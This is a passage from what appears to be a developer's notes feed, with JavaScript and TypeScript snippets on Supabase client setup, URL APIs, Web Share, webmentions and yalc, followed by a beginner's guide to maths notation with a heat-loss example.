  .gte(&apos;starttime&apos;, new Date(&apos;2021-07-10&apos;).toISOString())
  .lte(&apos;starttime&apos;, new Date(&apos;2021-07-11&apos;).toISOString())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Adding data&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const { data, error } = await supabase
  .from(&apos;posts&apos;)
  .insert([
    {
      title: &apos;The title&apos;,
      body: &apos;The body&apos;,
      owner: session?.user.id,
    },
  ])
  .select() // This is needed to return the inserted data
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Generated your schema locally&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;npx supabase gen types typescript --project-id your-project-id --schema public &amp;gt; src/types/supabase.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;@supabase/ssr&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: since Supabase&apos;s 2025 API key migration, new projects get &lt;code&gt;sb_publishable_...&lt;/code&gt; keys instead — commonly stored as &lt;code&gt;NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY&lt;/code&gt;. &lt;code&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/code&gt; (used below) is the legacy name.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Browser client&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { Database } from &apos;@/src/types/supabase&apos; // generated from your DB schema
import { createBrowserClient as _createBrowserClient } from &apos;@supabase/ssr&apos;

export const createBrowserClient = () =&amp;gt;
  _createBrowserClient&amp;lt;Database&amp;gt;(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!
  )
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Server client&lt;/h3&gt;
&lt;p&gt;The newer &lt;code&gt;@supabase/ssr&lt;/code&gt; API uses &lt;code&gt;getAll&lt;/code&gt; and &lt;code&gt;setAll&lt;/code&gt; for cookie handling:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createServerClient } from &apos;@supabase/ssr&apos;
import { cookies } from &apos;next/headers&apos;
import { Database } from &apos;@/types/supabase&apos;

export async function createClient() {
  const cookieStore = await cookies()

  return createServerClient&amp;lt;Database&amp;gt;(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return cookieStore.getAll()
        },
        setAll(cookiesToSet) {
          try {
            cookiesToSet.forEach(({ name, value, options }) =&amp;gt;
              cookieStore.set(name, value, options)
            )
          } catch {
            // The `setAll` method was called from a Server Component.
            // This can be ignored if you have middleware refreshing
            // user sessions.
          }
        },
      },
    }
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Middleware client&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { createServerClient } from &apos;@supabase/ssr&apos;
import { NextResponse, type NextRequest } from &apos;next/server&apos;

export async function updateSession(request: NextRequest) {
  let supabaseResponse = NextResponse.next({
    request,
  })

  const supabase = createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return request.cookies.getAll()
        },
        setAll(cookiesToSet) {
          cookiesToSet.forEach(({ name, value, options }) =&amp;gt;
            request.cookies.set(name, value, options)
          )
          supabaseResponse = NextResponse.next({
            request,
          })
          cookiesToSet.forEach(({ name, value, options }) =&amp;gt;
            supabaseResponse.cookies.set(name, value, options)
          )
        },
      },
    }
  )

  // Refresh session if expired
  await supabase.auth.getUser()

  return supabaseResponse
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use in middleware:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// middleware.ts
import { type NextRequest } from &apos;next/server&apos;
import { updateSession } from &apos;@/utils/supabase/middleware&apos;

export async function middleware(request: NextRequest) {
  return await updateSession(request)
}

export const config = {
  matcher: [&apos;/((?!_next/static|_next/image|favicon.ico).*)&apos;],
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>typescript</category><author>Zander Martineau</author></item><item><title>Switch(true)</title><link>https://zander.wtf/notes/switch-true/</link><guid isPermaLink="true">https://zander.wtf/notes/switch-true/</guid><description>You can use switch (true) instead of multiple if/else statements</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You can use &lt;code&gt;switch (true)&lt;/code&gt; instead of multiple &lt;code&gt;if/else&lt;/code&gt; statements&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const x = 1

switch (true) {
  case x === 1:
    // ...
    break
  case 5 &amp;lt; x:
    // ...
    break
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>URL &amp; URLSearchParams</title><link>https://zander.wtf/notes/url/</link><guid isPermaLink="true">https://zander.wtf/notes/url/</guid><description>URL Docs: http://developer.mozilla.org/en-US/docs/Web/API/URL URLSearchParams Docs:…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;URL&lt;/h2&gt;
&lt;p&gt;Docs: http://developer.mozilla.org/en-US/docs/Web/API/URL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const url = new URL(&apos;https://mysite.com/login?user=zander&amp;amp;page=news#hello&apos;)

url.hostname // mysite.com
url.pathname // /login
url.href // https://mysite.com/login?user=zander&amp;amp;page=news#hello
url.origin // https://mysite.com
url.search // ?user=zander&amp;amp;page=news
url.hash // #hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;URLSearchParams&lt;/h2&gt;
&lt;p&gt;Docs: http://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams/URLSearchParams&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// note: don&apos;t pass a full URL string to URLSearchParams directly —
// it treats the whole thing as a query string. Go via new URL() instead.
const params = new URL(&apos;https://mysite.com/login?user=zander&amp;amp;page=news#hello&apos;)
  .searchParams

params.has(&apos;user&apos;) // true
params.get(&apos;user&apos;) // &apos;zander&apos;

params.set(&apos;page&apos;, &apos;code&apos;)
params.toString() // user=zander&amp;amp;page=code

for (const [key, value] of params) {
  // ...
}

params.delete(&apos;page&apos;)
params.toString() // user=zander
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Convert a url with search params to an object:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// one liner
const params = Object.fromEntries(
  new URL(&apos;https://mysite.com/login?user=zander&amp;amp;page=news#hello&apos;).searchParams
)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// multi-line
const url = new URL(&apos;https://mysite.com/login?user=zander&amp;amp;page=news#hello&apos;)
const urlParams = new URLSearchParams(url.search)
const params = Object.fromEntries(urlParams)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;URL.canParse()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;A quick boolean check for whether a string is a valid URL — no try/catch needed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;URL.canParse(&apos;https://mysite.com&apos;) // true
URL.canParse(&apos;user=zander&amp;amp;page=news&apos;) // false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;URL.parse()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Like the &lt;code&gt;URL&lt;/code&gt; constructor but it returns &lt;code&gt;null&lt;/code&gt; on invalid input instead of throwing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const url = URL.parse(&apos;not a url&apos;) // null
const ok = URL.parse(&apos;https://mysite.com/login&apos;) // URL instance
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use &lt;code&gt;proper-url-join&lt;/code&gt; to construct a url&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;I use this package on nearly every project to normalise urls&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;https://github.com/moxystudio/js-proper-url-join&lt;/p&gt;
&lt;p&gt;Caveat: it&apos;s barely maintained these days, and the native &lt;code&gt;URL&lt;/code&gt; API covers most of these cases now — I&apos;d reach for that first.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import urlJoin from &apos;proper-url-join&apos;

urlJoin(&apos;foo&apos;, &apos;bar&apos;) // /foo/bar
urlJoin(&apos;/foo/&apos;, &apos;/bar/&apos;) // /foo/bar
urlJoin(&apos;foo&apos;, &apos;&apos;, &apos;bar&apos;) // /foo/bar
urlJoin(&apos;foo&apos;, undefined, &apos;bar&apos;) // /foo/bar
urlJoin(&apos;foo&apos;, null, &apos;bar&apos;) // /foo/bar

// With leading &amp;amp; trailing slash options
urlJoin(&apos;foo&apos;, &apos;bar&apos;, { leadingSlash: false }) // foo/bar
urlJoin(&apos;foo&apos;, &apos;bar&apos;, { trailingSlash: true }) // /foo/bar/
urlJoin(&apos;foo&apos;, &apos;bar&apos;, { leadingSlash: false, trailingSlash: true }) // foo/bar/

// Absolute URLs
urlJoin(&apos;http://google.com&apos;, &apos;foo&apos;) // http://google.com/foo

// Protocol relative URLs
urlJoin(&apos;//google.com&apos;, &apos;foo&apos;, { protocolRelative: true }) // //google.com/foo

// With query string as an url part
urlJoin(&apos;foo&apos;, &apos;bar?queryString&apos;) // /foo/bar?queryString
urlJoin(&apos;foo&apos;, &apos;bar?queryString&apos;, { trailingSlash: true }) // /foo/bar/?queryString

// With query string as an object
urlJoin(&apos;foo&apos;, { query: { biz: &apos;buz&apos;, foo: &apos;bar&apos; } }) // /foo?biz=buz&amp;amp;foo=bar

// With both query string as an url part and an object
urlJoin(&apos;foo&apos;, &apos;bar?queryString&apos;, { query: { biz: &apos;buz&apos;, foo: &apos;bar&apos; } }) // /foo/bar?biz=buz&amp;amp;foo=bar&amp;amp;queryString
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Useful JavaScript functions &amp; snippets</title><link>https://zander.wtf/notes/useful-js-functions/</link><guid isPermaLink="true">https://zander.wtf/notes/useful-js-functions/</guid><description>Automatically remove an event listener after it has executed The magical handleEvent function More info Remove query param</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Automatically remove an event listener after it has executed&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;el.addEventListener(&apos;click&apos;, console.log, {
  once: true,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The magical &lt;code&gt;handleEvent&lt;/code&gt; function&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Get a reference to the &amp;lt;button&amp;gt;
const btn = document.querySelector(&apos;button&apos;)

// Define object with `handleEvent` function
const myObject = {
  handleEvent: (event) =&amp;gt; {
    alert(event.type)
  },
}

// Listen for &apos;click&apos; events on the &amp;lt;button&amp;gt; and handle them with `myObject`... WHAT?!?!
btn.addEventListener(&apos;click&apos;, myObject)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://dev.to/rikschennink/the-fantastically-magical-handleevent-function-1bp4&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Remove query param&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export const removeSearchParam = (name: string): void =&amp;gt; {
  const url = new URL(location.href)
  url.searchParams.delete(name)
  history.replaceState(null, &apos;&apos;, url)
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Web Share</title><link>https://zander.wtf/notes/web-share/</link><guid isPermaLink="true">https://zander.wtf/notes/web-share/</guid><description>Legacy check (for older browsers): If your page has a canonical url: Code snippets Demo This pen is from 2019 so it may be a bit dated, but the idea still…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;const shareData = {
  title: &apos;My Page&apos;,
  text: &apos;Check out this page.&apos;,
  url: &apos;https://example.com/&apos;,
}

// Check if sharing is supported
if (navigator.canShare?.(shareData)) {
  try {
    await navigator.share(shareData)
    console.log(&apos;Shared successfully&apos;)
  } catch (err) {
    if (err.name !== &apos;AbortError&apos;) {
      console.error(&apos;Error sharing:&apos;, err)
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Legacy check (for older browsers):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (navigator.share) {
  navigator
    .share(shareData)
    .then(() =&amp;gt; console.log(&apos;Successful share&apos;))
    .catch((error) =&amp;gt; console.log(&apos;Error sharing&apos;, error))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your page has a canonical url:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let url = document.location.href
const canonicalElement = document.querySelector(&apos;link[rel=canonical]&apos;)
if (canonicalElement !== null) {
  url = canonicalElement.href
}
navigator.share({ url: url })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Code snippets&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;This is a demo of the web share button&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;
  Here is an image that you can
  &amp;lt;a class=&quot;web-share&quot; href=&quot;https://picsum.photos/200/287&quot;&amp;gt;share the URL&amp;lt;/a&amp;gt;:
&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;
  &amp;lt;img src=&quot;https://picsum.photos/200/287&quot; alt=&quot;Place holder image&quot; /&amp;gt;
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;let shareButtons = document.querySelectorAll(&apos;a.web-share&apos;)
for (const button of shareButtons) {
  button.addEventListener(&apos;click&apos;, function (e) {
    let href = this.getAttribute(&apos;href&apos;)
    let alt = this.getAttribute(&apos;alt&apos;)
    if (navigator.share) {
      navigator.share({
        title: alt,
        url: href,
      })
      e.preventDefault()
    }
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Demo&lt;/h2&gt;
&lt;p&gt;This pen is from 2019 so it may be a bit dated, but the idea still holds.&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe height=&quot;574&quot; style=&quot;width: 100%;&quot; scrolling=&quot;no&quot; title=&quot;Demo of Web Share button&quot; src=&quot;https://codepen.io/makzan/embed/gJRvzR?height=574&amp;amp;theme-id=light&amp;amp;default-tab=js,result&quot; frameborder=&quot;no&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&amp;gt;
See the Pen &amp;lt;a href=&apos;https://codepen.io/makzan/pen/gJRvzR&apos;&amp;gt;Demo of Web Share button&amp;lt;/a&amp;gt; by Thomas Seng Hin Mak
(&amp;lt;a href=&apos;https://codepen.io/makzan&apos;&amp;gt;@makzan&amp;lt;/a&amp;gt;) on &amp;lt;a href=&apos;https://codepen.io&apos;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Navigator/share&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/Navigator/share&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Webmentions</title><link>https://zander.wtf/notes/webmentions/</link><guid isPermaLink="true">https://zander.wtf/notes/webmentions/</guid><description>Go to webmention.io Add this to your site: Feeds: https://webmention.io/api/mentions.html?token=YOURAPIKEY…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Go to webmention.io&lt;/h2&gt;
&lt;p&gt;Add this to your site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;webmention&quot; href=&quot;https://webmention.io/zander.wtf/webmention&quot; /&amp;gt;
&amp;lt;link rel=&quot;pingback&quot; href=&quot;https://webmention.io/zander.wtf/xmlrpc&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Feeds:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://webmention.io/api/mentions.html?token=YOUR_API_KEY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://webmention.io/api/mentions.atom?token=YOUR_API_KEY&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;API Key&lt;/h3&gt;
&lt;p&gt;Find your API key on your &lt;a href=&quot;https://webmention.io/settings&quot;&gt;webmention.io dashboard&lt;/a&gt; — keep it out of your source code.&lt;/p&gt;
&lt;h3&gt;Fetching mentions for a page&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;mentions.jf2&lt;/code&gt; endpoint is CORS-enabled, so you can &lt;code&gt;fetch()&lt;/code&gt; it directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const response = await fetch(
  `https://webmention.io/api/mentions.jf2?per-page=500&amp;amp;target=${PAGE_URL}`
)
const mentions = await response.json()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>html</category><author>Zander Martineau</author></item><item><title>Yalc</title><link>https://zander.wtf/notes/yalc/</link><guid isPermaLink="true">https://zander.wtf/notes/yalc/</guid><description>Heads up: yalc has been effectively unmaintained since 2021, but it still works. Alternatives worth knowing about: pnpm add ../package-a (or the link:…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Heads up: yalc has been effectively unmaintained since ~2021, but it still works. Alternatives worth knowing about: &lt;code&gt;pnpm add ../package-a&lt;/code&gt; (or the &lt;code&gt;link:&lt;/code&gt; protocol), &lt;code&gt;npm pack&lt;/code&gt;, or just using pnpm workspaces — though none of them quite replicate yalc&apos;s publish/push model.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Installation&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;npm install -g yalc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;p&gt;Say we have two projects. e.g. one website &amp;amp; one npm package that the website depends on:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;website-a&lt;/code&gt; which depends on npm &lt;code&gt;package-a&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Step 1&lt;/h3&gt;
&lt;p&gt;Run &lt;strong&gt;&lt;code&gt;yalc publish&lt;/code&gt;&lt;/strong&gt; in the &lt;code&gt;package-a&lt;/code&gt; repo&lt;/p&gt;
&lt;h3&gt;Step 2&lt;/h3&gt;
&lt;p&gt;Run &lt;strong&gt;&lt;code&gt;yalc add package-a&lt;/code&gt;&lt;/strong&gt; in the &lt;code&gt;website-a&lt;/code&gt; repo&lt;/p&gt;
&lt;h3&gt;Step 3&lt;/h3&gt;
&lt;p&gt;Run &lt;code&gt;yarn&lt;/code&gt; in &lt;code&gt;website-a&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Step 4&lt;/h3&gt;
&lt;p&gt;Whenever you update &lt;code&gt;package-a&lt;/code&gt;, run &lt;strong&gt;&lt;code&gt;yalc push&lt;/code&gt;&lt;/strong&gt; in the &lt;code&gt;package-a&lt;/code&gt; repo&lt;/p&gt;
&lt;p&gt;You may need to run &lt;code&gt;yarn build &amp;amp;&amp;amp; yalc push&lt;/code&gt; if &lt;code&gt;package-a&lt;/code&gt; needs building first. And You may need to run run &lt;code&gt;yalc add package-a&lt;/code&gt; in the &lt;code&gt;website-a&lt;/code&gt; repo.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you have a dev server running in &lt;code&gt;website-a&lt;/code&gt;, it might pick up the changes after &lt;strong&gt;&lt;code&gt;yalc push&lt;/code&gt;&lt;/strong&gt; automatically so you may not need to do anything else.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Revert&lt;/h3&gt;
&lt;p&gt;When you&apos;re done testing with Yalc, run &lt;strong&gt;&lt;code&gt;yalc remove --all&lt;/code&gt;&lt;/strong&gt; to remove all the yalced packages from &lt;code&gt;website-a&lt;/code&gt;&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Basic Maths Notation</title><link>https://zander.wtf/notes/math-notation/</link><guid isPermaLink="true">https://zander.wtf/notes/math-notation/</guid><description>A reference for reading the symbols in formulas, written for people (me) who aren&apos;t confident with maths. Most &quot;scary&quot; equations are just a recipe: do…</description><pubDate>Wed, 03 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A reference for reading the symbols in formulas, written for people (me) who aren&apos;t confident with maths. Most &quot;scary&quot; equations are just a recipe: do these operations, in this order, with these named ingredients.&lt;/p&gt;
&lt;h2&gt;The symbols you&apos;ll meet most&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symbol&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Means&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Σ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;sigma (capital)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;sum&lt;/strong&gt;: add up a series of things&lt;/td&gt;
&lt;td&gt;see below&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Δ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;delta (capital)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;change/difference&lt;/strong&gt; between two values&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ΔT = 21 − (−3)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;·&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dot&lt;/td&gt;
&lt;td&gt;multiply (same as &lt;code&gt;×&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;W/m²·K&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;²&lt;/code&gt; &lt;code&gt;³&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;superscript&lt;/td&gt;
&lt;td&gt;a &lt;strong&gt;power&lt;/strong&gt;: how many times to multiply by itself&lt;/td&gt;
&lt;td&gt;&lt;code&gt;m² = m × m&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;√&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;root&lt;/td&gt;
&lt;td&gt;the opposite of a power&lt;/td&gt;
&lt;td&gt;&lt;code&gt;√9 = 3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ⁿ&lt;/code&gt; &lt;code&gt;ₓ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;super/subscript&lt;/td&gt;
&lt;td&gt;a label or a power, depending on context&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x₁&lt;/code&gt;, &lt;code&gt;2ⁿ&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;≈&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;approximately equal&lt;/td&gt;
&lt;td&gt;&quot;about&quot;, not exact&lt;/td&gt;
&lt;td&gt;&lt;code&gt;π ≈ 3.14&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;∝&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;proportional to&lt;/td&gt;
&lt;td&gt;grows in step with&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cost ∝ size&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Σ — &quot;sum of&quot;&lt;/h2&gt;
&lt;p&gt;The capital Greek letter sigma means &lt;strong&gt;add all of these up&lt;/strong&gt;. It looks intimidating but it&apos;s just a loop.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Σ (U × A × ΔT)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;reads as: &lt;em&gt;for each item, work out &lt;code&gt;U × A × ΔT&lt;/code&gt;, then add all those results together.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In code it&apos;s a &lt;code&gt;for&lt;/code&gt; loop with a running total:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Σ (U × A × ΔT) for every wall/window/etc in a room
const total = surfaces.reduce(
  (sum, s) =&amp;gt; sum + s.U * s.A * deltaT,
  0,
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So a single &lt;code&gt;Σ&lt;/code&gt; replaces &quot;do this for the wall, the window, the roof, the floor… then add it all up&quot;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Δ — &quot;the change in&quot;&lt;/h2&gt;
&lt;p&gt;Capital delta means &lt;strong&gt;difference&lt;/strong&gt;: end value minus start value.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ΔT = inside − outside = 21 − (−3) = 24&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The two minus signs trip people up. Subtracting a negative is the same as adding:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;21 − (−3)  =  21 + 3  =  24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ΔT&lt;/code&gt; is read &quot;delta T&quot; and almost always means a &lt;strong&gt;temperature difference&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Powers and roots&lt;/h2&gt;
&lt;p&gt;A small raised number is a &lt;strong&gt;power&lt;/strong&gt; — how many times to multiply a number by itself:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m²  = m × m          (square — think area)
m³  = m × m × m      (cube — think volume)
2⁵  = 2 × 2 × 2 × 2 × 2 = 32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;strong&gt;root&lt;/strong&gt; is the reverse. &lt;code&gt;√9 = 3&lt;/code&gt; because &lt;code&gt;3 × 3 = 9&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You&apos;ll see powers most often in &lt;strong&gt;units&lt;/strong&gt; (&lt;code&gt;m²&lt;/code&gt; for area, &lt;code&gt;m³&lt;/code&gt; for volume), not just in equations.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Reading units: the &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;·&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Units carry meaning. Learn to read them aloud:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt; = &quot;per&quot;. &lt;code&gt;m/s&lt;/code&gt; = metres &lt;strong&gt;per&lt;/strong&gt; second.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;·&lt;/code&gt; = multiply. &lt;code&gt;W/m²·K&lt;/code&gt; = watts per (square-metre &lt;strong&gt;times&lt;/strong&gt; kelvin).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;K&lt;/code&gt; = kelvin. For a &lt;em&gt;difference&lt;/em&gt; in temperature, 1 K = 1 °C, so &lt;code&gt;ΔT&lt;/code&gt; in K and in °C are the same number.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When a unit looks busy, it&apos;s usually telling you exactly what to multiply and divide:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;U&lt;/code&gt; has units &lt;code&gt;W/m²·K&lt;/code&gt;. Multiply it by an area (&lt;code&gt;m²&lt;/code&gt;) and a temperature difference (&lt;code&gt;K&lt;/code&gt;) and the &lt;code&gt;m²&lt;/code&gt; and &lt;code&gt;K&lt;/code&gt; cancel out, leaving &lt;code&gt;W&lt;/code&gt; — watts, a rate of heat loss. The units are a built-in sanity check.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Worked example — heat loss from a room&lt;/h2&gt;
&lt;p&gt;Two formulas, both just &quot;multiply the named things together&quot;. Numbers from a real heat-loss calc.&lt;/p&gt;
&lt;h3&gt;1. Fabric loss — heat through walls/windows/roof/floor&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Q_fabric = Σ (U × A × ΔT)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;U&lt;/code&gt; = U-value (&lt;code&gt;W/m²·K&lt;/code&gt;) — how leaky the material is. Triple glazing ≈ 0.8, solid brick ≈ 2.1. Higher = leakier.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;A&lt;/code&gt; = area (&lt;code&gt;m²&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ΔT&lt;/code&gt; = inside target − outside design temp, e.g. &lt;code&gt;21 − (−3) = 24 K&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Q_fabric&lt;/code&gt; = the answer, in watts. (&lt;code&gt;Q&lt;/code&gt; is the standard letter for &quot;quantity of heat&quot;; the small &lt;code&gt;fabric&lt;/code&gt; is just a &lt;strong&gt;label&lt;/strong&gt;, not maths.)&lt;/li&gt;
&lt;/ul&gt;
